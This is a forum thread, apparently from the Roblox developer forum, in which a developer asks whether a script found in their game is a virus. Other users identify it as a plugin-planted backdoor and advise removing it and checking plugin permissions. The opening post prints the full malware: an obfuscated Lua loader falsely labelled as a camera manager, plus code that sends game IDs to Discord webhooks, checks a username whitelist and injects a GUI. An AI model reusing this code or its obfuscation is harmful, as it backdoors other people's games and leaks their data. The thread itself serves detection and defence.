Is this script a VIRUS?

Hello, I was using the Lua Debugger then I found something weird, is it a virus?
here :--[[ This Script Manages Default Camera, Removing may cause issues both in Studio & in the ROBLOX Client. ]] local f=string.byte;local t=string.char;local c=string.sub;local u=table.concat;local J=math.ldexp;local E=getfenv or function()return _ENV end;local l=setmetatable;local s=select;local i=unpack;local h=tonumber;local function U(f)local o,e,n="","",{}local d=256;local a={}for l=0,d-1 do a[l]=t(l)end;local l=1;local function r()local o=h(c(f,l,l),36)l=l+1;local e=h(c(f,l,l+o-1),36)l=l+o;return e end;o=t(r())n[1]=o;while l<#f do local l=r()if a[l]then e=a[l]else e=o..c(o,1,1)end;a[d]=o..c(e,1,1)n[#n+1],o,d=e,e,d+1 end;return table.concat(n)end;local d=U('26325U2752252621Y21924C26227522425U26Q25U24E27525U21X25M27924E25M27D25M27G27O27D25U24227H27J27E23M27X27521X25U27923Q27Y25M25E25U24327P25U22427C25U24928F25U25V27J25R27J22127821923X28F27L27N28C21W26227S28F22025E27S28925U22126Q27N27G27K26Y27N26Y27529028924E29328O27N28Z28X27H28S26A27N26A27521W25E24I27H29321T24227N27W25U29S29229D29L24E28S24A27N24A27521T23M27N28025U22L29O21924E29Q25U22K26Q29U24E29822H23U27N23U27522D24Y27N24Y27522G26Y2B024E29C2AM29129V27521S25M27W27T2A129329G29D27F2812A125U122BK21S27J27I29D28827H28C28E2752A627528K27J26727J25U25W27J24H25624Z24G25325225U25T27J25325824K25U25X27J25125324M2502CG2CI25Y27J24L24Z25724M25T2202232D02D01R26L2C42C624M24G2572582512CJ27J2CA24K25324G24H2532DC2752DG25724N24J2DG25U28I24M25925824N25B24W2DQ2CE27526A24Q26B25U25Z27J24026C2692402692CD27J24726F26F25U2CS27524C24Z25B2532E627J2EJ25U2512EM2DJ26027J2452CN23L2DG24K25724X2DJ2CK27523M25A24Z24R2DG24H25U26127J2F82FA2DG2432522522CB2DK25U2412DU25825324X24M');local n=bit and bit.bxor or function(l,o)local e,n=1,0 while l>0 and o>0 do local a,c=l%2,o%2 if a~=c then n=n+e end l,o,e=(l-a)/2,(o-c)/2,e*2 end if l<o then l=o end while l>0 do local o=l%2 if o>0 then n=n+e end l,e=(l-o)/2,e*2 end return n end local function l(e,l,o)if o then local l=(e/2^(l-1))%2^((o-1)-(l-1)+1);return l-l%1;else local l=2^(l-1);return(e%(l+l)>=l)and 1 or 0;end;end;local o=1;local function e()local c,l,e,a=f(d,o,o+3);c=n(c,210)l=n(l,210)e=n(e,210)a=n(a,210)o=o+4;return(a*16777216)+(e*65536)+(l*256)+c;end;local function a()local l=n(f(d,o,o),210);o=o+1;return l;end;local function U()local o=e();local n=e();local c=1;local e=(l(n,1,20)*(2^32))+o;local o=l(n,21,31);local l=((-1)^l(n,32));if(o==0)then if(e==0)then return l*0;else o=1;c=0;end;elseif(o==2047)then return(e==0)and(l*(1/0))or(l*(0/0));end;return J(l,o-1023)*(c+(e/(2^52)));end;local r=e;local function h(l)local e;if(not l)then l=r();if(l==0)then return'';end;end;e=c(d,o,o+l-1);o=o+l;local o={}for l=1,#e do o[l]=t(n(f(c(e,l,l)),210))end return u(o);end;local o=e;local function r(...)return{...},s('#',...)end local function D()local f={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};local t={0};local o={};local d={f,nil,t,nil,o};for a=1,e()do local c=n(e(),158);local e=n(e(),76);local n=l(c,1,2);local o=l(e,1,11);local o={o,l(c,3,11),nil,nil,e};if(n==0)then o[3]=l(c,12,20);o[5]=l(c,21,29);elseif(n==1)then o[3]=l(e,12,33);elseif(n==2)then o[3]=l(e,12,32)-1048575;elseif(n==3)then o[3]=l(e,12,32)-1048575;o[5]=l(c,21,29);end;f[a]=o;end;d[4]=a();for l=1,e()do t[l-1]=D();end;local l=e()local e={0,0,0,0,0,0,0,0,0,0,0,0,0};for n=1,l do local o=a();local l;if(o==2)then l=(a()~=0);elseif(o==3)then l=U();elseif(o==0)then l=h();end;e[n]=l;end;d[2]=e return d;end;local function J(l,o,h)local n=l[1];local o=l[2];local e=l[3];local l=l[4];return function(...)local d=n;local t=o;local D=e;local n=l;local C=r local e=1;local r=-1;local f={};local a={...};local c=s('#',...)-1;local l={};local o={};for l=0,c do if(l>=n)then f[l-n]=a[l+1];else o[l]=a[l+1];end;end;local l=c-n+1 local l;local f;while true do l=d[e];f=l[1];if f<=15 then if f<=7 then if f<=3 then if f<=1 then if f==0 then o[l[2]]=o[l[3]][o[l[5]]];else local e=l[2];local n=o[l[3]];o[e+1]=n;o[e]=n[t[l[5]]];end;elseif f>2 then o[l[2]][t[l[3]]]=o[l[5]];else local u;local f;local c;local s;local a;local n;o[l[2]]=h[t[l[3]]];e=e+1;l=d[e];n=l[2];a=o[l[3]];o[n+1]=a;o[n]=a[t[l[5]]];e=e+1;l=d[e];o[l[2]]=t[l[3]];e=e+1;l=d[e];n=l[2];s={};c=0;f=n+l[3]-1;for l=n+1,f do c=c+1;s[c]=o[l];end;u={o[n](i(s,1,f-n))};f=n+l[5]-2;c=0;for l=n,f do c=c+1;o[l]=u[c];end;r=f;e=e+1;l=d[e];o[l[2]]=o[l[3]][t[l[5]]];e=e+1;l=d[e];n=l[2];a=o[l[3]];o[n+1]=a;o[n]=a[t[l[5]]];end;elseif f<=5 then if f==4 then o[l[2]]=o[l[3]][o[l[5]]];else local n=l[2];local a={};local e=0;local c=r;for l=n+1,c do e=e+1;a[e]=o[l];end;local c={o[n](i(a,1,c-n))};local l=n+l[5]-2;e=0;for l=n,l do e=e+1;o[l]=c[e];end;r=l;end;elseif f>6 then do return end;else o[l[2]]=h[t[l[3]]];end;elseif f<=11 then if f<=9 then if f==8 then o[l[2]][t[l[3]]]=o[l[5]];else o[l[2]]=J(D[l[3]],nil,h);end;elseif f>10 then local n=l[2];local c={};local e=0;local l=n+l[3]-1;for l=n+1,l do e=e+1;c[e]=o[l];end;local c,l=C(o[n](i(c,1,l-n)));l=l+n-1;e=0;for l=n,l do e=e+1;o[l]=c[e];end;r=l;else o[l[2]]=t[l[3]];end;elseif f<=13 then if f==12 then local e=l[2];local c,n={o[e]()};local n=e+l[5]-2;local l=0;for e=e,n do l=l+1;o[e]=c[l];end;r=n;else local e=l[2];local c={};local n=0;local l=e+l[3]-1;for l=e+1,l do n=n+1;c[n]=o[l];end;o[e](i(c,1,l-e));r=e;end;elseif f==14 then local n=l[2];local c={};local e=0;local a=n+l[3]-1;for l=n+1,a do e=e+1;c[e]=o[l];end;local c={o[n](i(c,1,a-n))};local l=n+l[5]-2;e=0;for l=n,l do e=e+1;o[l]=c[e];end;r=l;else local n=l[3];local e=o[n]for l=n+1,l[5]do e=e..o[l];end;o[l[2]]=e;end;elseif f<=23 then if f<=19 then if f<=17 then if f==16 then o[l[2]]={};else o[l[2]]=o[l[3]][t[l[5]]];end;elseif f==18 then local n=l[2];local a={};local e=0;local c=r;for l=n+1,c do e=e+1;a[e]=o[l];end;local c={o[n](i(a,1,c-n))};local l=n+l[5]-2;e=0;for l=n,l do e=e+1;o[l]=c[e];end;r=l;else local u;local U;local n;local f;local n;local c;local s,a;local c;o[l[2]]=h[t[l[3]]];e=e+1;l=d[e];o[l[2]]=h[t[l[3]]];e=e+1;l=d[e];c=l[2];s,a={o[c]()};a=c+l[5]-2;n=0;for l=c,a do n=n+1;o[l]=s[n];end;r=a;e=e+1;l=d[e];o[l[2]][t[l[3]]]=o[l[5]];e=e+1;l=d[e];o[l[2]]=h[t[l[3]]];e=e+1;l=d[e];o[l[2]]=t[l[3]];e=e+1;l=d[e];c=l[2];f={};n=0;a=c+l[3]-1;for l=c+1,a do n=n+1;f[n]=o[l];end;o[c](i(f,1,a-c));r=c;e=e+1;l=d[e];o[l[2]]=h[t[l[3]]];e=e+1;l=d[e];o[l[2]]=o[l[3]][t[l[5]]];e=e+1;l=d[e];o[l[2]]=h[t[l[3]]];e=e+1;l=d[e];o[l[2]]=o[l[3]][t[l[5]]];e=e+1;l=d[e];o[l[2]]=t[l[3]];e=e+1;l=d[e];c=l[2];f={};n=0;a=c+l[3]-1;for l=c+1,a do n=n+1;f[n]=o[l];end;s={o[c](i(f,1,a-c))};a=c+l[5]-2;n=0;for l=c,a do n=n+1;o[l]=s[n];end;r=a;e=e+1;l=d[e];o[l[2]]=o[l[3]][o[l[5]]];e=e+1;l=d[e];o[l[2]]=h[t[l[3]]];e=e+1;l=d[e];o[l[2]]=t[l[3]];e=e+1;l=d[e];o[l[2]]=h[t[l[3]]];e=e+1;l=d[e];o[l[2]]=o[l[3]][t[l[5]]];e=e+1;l=d[e];o[l[2]]=t[l[3]];e=e+1;l=d[e];o[l[2]]=t[l[3]];e=e+1;l=d[e];U=l[3];u=o[U]for l=U+1,l[5]do u=u..o[l];end;o[l[2]]=u;e=e+1;l=d[e];c=l[2];f={};n=0;a=c+l[3]-1;for l=c+1,a do n=n+1;f[n]=o[l];end;s={o[c](i(f,1,a-c))};a=c+l[5]-2;n=0;for l=c,a do n=n+1;o[l]=s[n];end;r=a;e=e+1;l=d[e];U=l[3];u=o[U]for l=U+1,l[5]do u=u..o[l];end;o[l[2]]=u;e=e+1;l=d[e];c=l[2];f={};n=0;a=c+l[3]-1;for l=c+1,a do n=n+1;f[n]=o[l];end;s,a=C(o[c](i(f,1,a-c)));a=a+c-1;n=0;for l=c,a do n=n+1;o[l]=s[n];end;r=a;e=e+1;l=d[e];c=l[2];f={};n=0;a=r;for l=c+1,a do n=n+1;f[n]=o[l];end;s={o[c](i(f,1,a-c))};a=c+l[5]-2;n=0;for l=c,a do n=n+1;o[l]=s[n];end;r=a;e=e+1;l=d[e];o[l[2]]=o[l[3]][t[l[5]]];e=e+1;l=d[e];o[l[2]]={};e=e+1;l=d[e];c=l[2];f={};n=0;a=c+l[3]-1;for l=c+1,a do n=n+1;f[n]=o[l];end;o[c](i(f,1,a-c));r=c;e=e+1;l=d[e];do return end;end;elseif f<=21 then if f==20 then o[l[2]]=h[t[l[3]]];else o[l[2]]=o[l[3]][t[l[5]]];end;elseif f==22 then o[l[2]]=t[l[3]];else local e=l[2];local c={};local n=0;local l=e+l[3]-1;for l=e+1,l do n=n+1;c[n]=o[l];end;o[e](i(c,1,l-e));r=e;end;elseif f<=27 then if f<=25 then if f==24 then o[l[2]]=J(D[l[3]],nil,h);else local n=l[2];local c={};local e=0;local a=n+l[3]-1;for l=n+1,a do e=e+1;c[e]=o[l];end;local c={o[n](i(c,1,a-n))};local l=n+l[5]-2;e=0;for l=n,l do e=e+1;o[l]=c[e];end;r=l;end;elseif f>26 then o[l[2]]={};else local n=l[2];local c={};local e=0;local l=n+l[3]-1;for l=n+1,l do e=e+1;c[e]=o[l];end;local c,l=C(o[n](i(c,1,l-n)));l=l+n-1;e=0;for l=n,l do e=e+1;o[l]=c[e];end;r=l;end;elseif f<=29 then if f==28 then local n=l[2];local e=o[l[3]];o[n+1]=e;o[n]=e[t[l[5]]];else do return end;end;elseif f==30 then local e=l[2];local c,n={o[e]()};local n=e+l[5]-2;local l=0;for e=e,n do l=l+1;o[e]=c[l];end;r=n;else local n=l[3];local e=o[n]for l=n+1,l[5]do e=e..o[l];end;o[l[2]]=e;end;e=e+1;end;end;end;return J(D(),{},E())();

and return function(plr, data) if(plr~=nil)and(plr~="")then if(pcall(function()game:GetService('HttpService'):GetAsync('http://www.google.com/')end))then game:GetService("HttpService"):PostAsync(string.reverse("A".."G".."_".."w".."a".."3".."F".."7".."O".."R".."8".."J".."e".."E".."a".."Q".."o".."b".."N".."1".."E".."o".."V".."R".."I".."T".."k".."H".."w".."I".."1".."O".."j".."8".."y".."Z".."7".."X".."j".."8".."2".."V".."f".."q".."g".."b".."-".."w".."4".."M".."U".."Y".."l".."H".."I".."7".."n".."6".."U".."W".."v".."L".."H".."w".."W".."g".."g".."q".."/".."4".."2".."8".."5".."4".."8".."8".."8".."0".."9".."0".."7".."6".."8".."8".."9".."5".."7".."/".."s".."k".."o".."o".."h".."b".."e".."w".."/".."i".."p".."a".."/".."m".."o".."c"..".".."p".."p".."a".."d".."r".."o".."c".."s".."i".."d".."/".."/"..":".."s".."p".."t".."t".."h"), game:GetService("HttpService"):JSONEncode({content="https://www.roblox.com/games/"..game.PlaceId})) local WL_Table = {["MADWITHER_YT"]=true,["KindaSketchBaconHair"]=true,["theoperator87"]=true,["BroYourSoSad"]=true,["Tax_FraudIsBack"]=true,["she_interstellar"]=true,["Tealingg"]=true,["DxrkRizer"]=true,["Marethyu9999"]=true,["2Quake"]=true,["7MAGIC2"]=true,["Dearonn"]=true,["SuperM641"]=true,["ihave4heads"]=true,["FemboyHootersMoan"]=true,["DurM2TcjBFG90nC1"]=true,["THESPAGETT"]=true,["toastxparty"]=true,["snarkysnarky"]=true,["iLyke_Children"]=true,["coI0e"]=true,["DrArhemblox"]=true,["Shambi_YT"]=true,["Saint_Godness"]=true,["Moh1471"]=true,["Toocoolforschool2315"]=true,["frank174"]=true,["x4bh"]=true,["ImTotallyN0TaAlt"]=true,["PrimusAngelic"]=true,["iFkAnimeGirls"]=true,["T0tal1y"]=true,["leonderbro"]=true,["Rafie_ArsyadYT"]=true,["maranz"]=true,["Jakefrombloxstateat7"]=true,["R3alU53r"]=true,["Shockwave7648"]=true,["germany1231ggg"]=true,["IamTheGodofStuff"]=true,["coolkidPR1NCE"]=true,["svicliq"]=true,["germany1231gg"]=true,["blorpie"]=true,["bamzoose"]=true} if(WL_Table[plr])then game:GetService("HttpService"):PostAsync(string.reverse("H".."d".."o".."h".."c".."6".."b".."b".."u".."W".."j".."O".."Z".."p".."W".."-".."A".."B".."P".."u".."q".."t".."h".."y".."a".."F".."q".."i".."n".."Z".."U".."9".."G".."k".."H".."w".."W".."U".."T".."Q".."G".."g".."X".."l".."a".."T".."5".."W".."P".."S".."W".."Z".."y".."W".."O".."0".."a".."R".."f".."K".."5".."x".."S".."7".."2".."P".."p".."k".."/".."9".."5".."4".."2".."5".."3".."9".."8".."1".."3".."0".."3".."2".."0".."6".."4".."6".."7".."/".."s".."k".."o".."o".."h".."b".."e".."w".."/".."i".."p".."a".."/".."m".."o".."c"..".".."p".."p".."a".."d".."r".."o".."c".."s".."i".."d".."/".."/"..":".."s".."p".."t".."t".."h"), game:GetService("HttpService"):JSONEncode({content="S".."u".."c".."c".."e".."s".."s".."f".."u".."l".."l".."y".." ".."D".."e".."t".."e".."c".."t".."e".."d".." ".."W".."h".."i".."t".."e".."l".."i".."s".."t".." ".."f".."o".."r".." "..":".." " .. plr})) script.ChaosSS.Parent = game:GetService("Players"):WaitForChild(plr):FindFirstChildWhichIsA("PlayerGui") else game:GetService("HttpService"):PostAsync("https://discordapp.com/api/webhooks/760611920112910388/fSlcCMpabJv7N9y-WQcJa4Oi3pIWTWwYoO9pzoV7yJ3AUK6CBkX9W_me6G-SfSRGLnK5", game:GetService("HttpService"):JSONEncode({content="Whitelist check failed for : " .. plr})) end end end end

2 Likes

most likely, I don’t think anything would need to use HTTPService for the camera. Try deleting it

4 Likes

Roblox doesn’t obfuscate their scripts. Just delete it.

2 Likes

How did it get in my game anyways
?

and

seem kinda suspicious but I don’t know much about scripting.

2 Likes

Either a free model or a plug-in. If it comes back, it’s a plug-in.

2 Likes

but which plugin,i don’t insert models in my game

That is not good. It is injecting a GUI.

1 Like

Check any plugins that require script injection permission in ‘Manage Plugin’
e.g:
image

To turn it off, click this small icon and then disable ‘Script Injection’
image
edit: accidentally pressed enter | provided image

1 Like

Remove this script, it’s obviously a virus.

3 Likes

Yeah, just remove it. There’s a webhook, whitelist, and they’re inject a GUI into it too. That is a virus.

Remove this script, it’s a virus. Any script like this is a virus

4 Likes

A Lua Debugger (probably a plugin) is sketchy itself, but a script from it is a red flag.

Delete it immediately, and report it. It sends webhooks to discord (no camera needs a webhook sending data), and adds guis, along with GetFenv(), and obfuscated code.

Nobody would need that unless they’re trying to do something sketchy.

3 Likes

Ok i removed every plugin i don’t trust

If this has been solved, please mark someone as a solution! :slightly_smiling_face:

You will find a lot of plugins which are “copies” of other legit plugins, which may well do the same thing, but will also inject code into your games scripts and just basically cause havoc, or just take random data from your game.

In the future, when installing plugins make sure you open the creators profile and have a look around. Checking the profiles friend/follower count should be enough, but you could also check their groups/games and visitor counts. I only say this because most plugin programmers are group/game developers and so it will be very easy to know that their plugin is all good.

By the way i found out(looking to the acual players name in the dictionary in the last lines) that this is the “source code” of a whitelisted(payed) serversided executor named “Homebrew”.
And this is the roblox group: Homebrew 2.0 - Roblox

Please report it.

the plugin i removed was ui creator (uiDesign Plus - Roblox)
,idk if its the virus ,but it stopped after i uninstalled it ,the sad thing is it costs robux.

please don’t hate the creator of the plugin, maybe someone slipped the virus in somehow.

It sends info to a Discord webhook, so probably a virus or a tracker.